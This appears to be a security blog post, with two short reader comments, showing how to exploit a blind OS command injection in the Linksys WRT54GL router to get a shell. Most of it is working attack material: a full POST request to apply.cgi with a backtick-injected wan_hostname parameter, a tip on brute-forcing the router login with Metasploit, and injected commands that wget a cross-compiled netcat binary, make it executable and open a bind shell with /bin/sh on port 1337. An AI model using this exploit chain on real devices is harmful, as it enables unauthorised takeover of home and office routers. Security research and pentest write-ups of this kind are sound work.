no one is safe ...

Using the discovered OS Command Injection vulnerability in Linksys WRT54GL within a pentest

After releasing the OS command execution vulnerability in the WRT54GL router from Linksys last week there were some requests about how could we use this vulnerability for getting a remote shell.

First off all we have to analyze the firmware a bit. For this it is best to download the original firmware from the vendor and use the firmware-modification-kit or binwalk created by Craig Heffner and Jeremy Collake. Awesome toolkit from awesome guys.

So let’s extract and analyse the firmware a bit:

root@bt:~/images/firmware_mod_kit/firmware-mod-kit-read-only# ./extract-ng.sh /root/images/FW_WRT54GL_4.30.15.002_US_20101208_code.bin linksyswrt54gl
Firmware Mod Kit (build-ng) 0.78 beta, (c)2011-2012 Craig Heffner, Jeremy Collake
http://www.bitsum.com
Scanning firmware...
DECIMAL   HEX       DESCRIPTION
-------------------------------------------------------------------------
32        0x20      TRX firmware header, little endian, header size: 28 bytes,  image size: 3362816 bytes, CRC32: 0xB5C3AB6E flags/version: 0x10000
700656    0xAB0F0   Squashfs filesystem, little endian, version 2.0, size: 2655384 bytes, 502 inodes, blocksize: 65536 bytes, created: Wed Dec  8 05:06:27 2010

root@bt:~/images/firmware_mod_kit/firmware-mod-kit-read-only/linksys-wrt54gl/rootfs# find . -iname wget
./usr/bin/wget

You should play a little bit more with the filesystem ... there is a lot of interesting stuff. For now and for our purpose it is enough! With this information we know that we should be able to download more stuff to the device with wget.
Next we need a working backdoor that we could download with netcat and execute on the device. Metasploit does not help us much on the mipsel platform. So we have to build our own backdoor. The easiest way doing this is to download the sources from the GPL Center of Linksys, extract it and use the original toolchain.

The original toolchain is located in the following path:

root@bt:~/firmware/Linksys-WRT54GL/WRT54GL-US_v4.30.13# ls ./tools/brcm/hndtools-mipsel-linux-3.2.3/bin
mipsel-linux-addr2line  mipsel-linux-c++filt  mipsel-linux-gccbug  mipsel-linux-objcopy  mipsel-linux-size  mipsel-linux-ar  mipsel-linux-cpp  mipsel-linux-gcov  mipsel-linux-objdump  mipsel-linux-strings  mipsel-linux-as  mipsel-linux-g++  mipsel-linux-ld  mipsel-linux-ranlib  mipsel-linux-strip   mipsel-linux-c++  mipsel-linux-gcc  mipsel-linux-nm  mipsel-linux-readelf

To get this toolchain working we have to install it within the opt directory just by copying over there:

root@bt:~/firmware# mv /root/firmware/Linksys-WRT54GL/WRT54GL-US_v4.30.13/tools/brcm /opt/

Next we need to adjust our PATH variable:

root@bt:~/firmware# export PATH=$PATH:/opt/brcm/hndtools-mipsel-linux-3.2.3/bin/

And now it should work and our system should be able to find it via auto completion:

root@bt:~/firmware# mipsel-linux-<TAB>+<TAB>
mipsel-linux-addr2line  mipsel-linux-cpp  mipsel-linux-ld  mipsel-linux-readelf  mipsel-linux-ar  mipsel-linux-g++  mipsel-linux-nm  mipsel-linux-size  mipsel-linux-as  mipsel-linux-gcc  mipsel-linux-objcopy    mipsel-linux-strings  mipsel-linux-c++  mipsel-linux-gccbug  mipsel-linux-objdump  mipsel-linux-strip mipsel-linux-c++filt  mipsel-linux-gcov  mipsel-linux-ranlib

root@bt:~/firmware# mipsel-linux-gcc -v
Reading specs from /opt/brcm/hndtools-mipsel-linux-3.2.3/lib/gcc-lib/mipsel-linux/3.2.3/specs
Configured with: /opt/brcm/org/tools-src/gnu/gcc/configure -v --target=mipsel-linux --prefix=/opt/brcm/hndtools-mipsel-linux-3.2.3 --with-bcm4710a0 --with-headers=/opt/brcm/hndtools-mipsel-linux-3.2.3/mipsel-linux/include --enable-languages=c,c++
Thread model: posix
gcc version 3.2.3 with Broadcom modifications

Let’s go ahead and try to compile a simple hello world:

root@bt:~/firmware# mipsel-linux-gcc hello-world.c -o helloworld-wrt54gl --static

root@bt:~/firmware# file helloworld-wrt54gl
helloworld-wrt54gl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.2.15, not stripped

root@bt:~/firmware# mipsel-linux-strip helloworld-wrt54gl

root@bt:~/firmware# file helloworld-wrt54gl
helloworld-wrt54gl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.2.15, stripped

Look’s quite good. If you are going the extra mile you could connect via serial to your box, use wget, upload it and so on … but we need a shell :)
Download the netcat sources, extract it and compile your netcat for mipsel in the following way:

root@bt:~/firmware/netcat-0.7.1# CC="mipsel-linux-gcc --static" ./configure --host=mips-linux

root@bt:~/firmware/netcat-0.7.1# make

root@bt:~/firmware/netcat-0.7.1# file src/netcat
src/netcat: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.2.15, not stripped

Quite easy and now we have our backdoor. Final step is to pwn the box …

First upload your new and shiny netcat to a webserver which is accessible from your Linksys box. Next get access to the webinterface of your router. Typically you need to attack the basic authentication of the device for this. There are some different tools for this. Normally I will use the http_login module from Metasploit. This one is quite easy to use.
After a successful attack we get access to the webinterface and we are able to verify that the box is vulnerable via a simple ping check. Such a request looks something like the following:

POST /apply.cgi HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://<IP>/index.asp
Authorization:
Basic <Adjust your authentication>
Content-Type: application/x-www-form-urlencoded
Content-Length: 734
Connection: close

submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=test&wan_hostname=`%20ping%20192%2e168%2e178%2e101%20`&wan_domain=test&mtu_enable=1&wan_mtu=1500&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=178&lan_ipaddr_3=166&lan_netmask=255.255.255.0&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1

The vulnerable parameter is wan_hostname and we have injected a simple ping command to our local machine: `%20ping%20192%2e168%2e178%2e101%20`

Cause it is a blind OS Command Injection you will need some possibility to verify if it works. For this you could use tcpdump or Wireshark.


Next step is to upload your new compiled netcat, change permissions for execution and execute it.
First request is for uploading: `wget http:///netcat-wrt54gl –O /tmp/nc`


The second request needs to adjust the permissions of our netcat binary: `chmod 777 /tmp/nc`


And finally execute it to open a bind shell: `/tmp/nc –v –l –p 1337 –e /bin/sh`


After this we are able to connect to our Linksys router via netcat to port 1337 and boom … shell:


Some resources to this vulnerability:

have phun

Comments

Netcat Binary

Nooby question but could you upload that binary somewhere?

Re: Netcat Binary

you could generate it the way it is described in the blog post.

Best,
mIke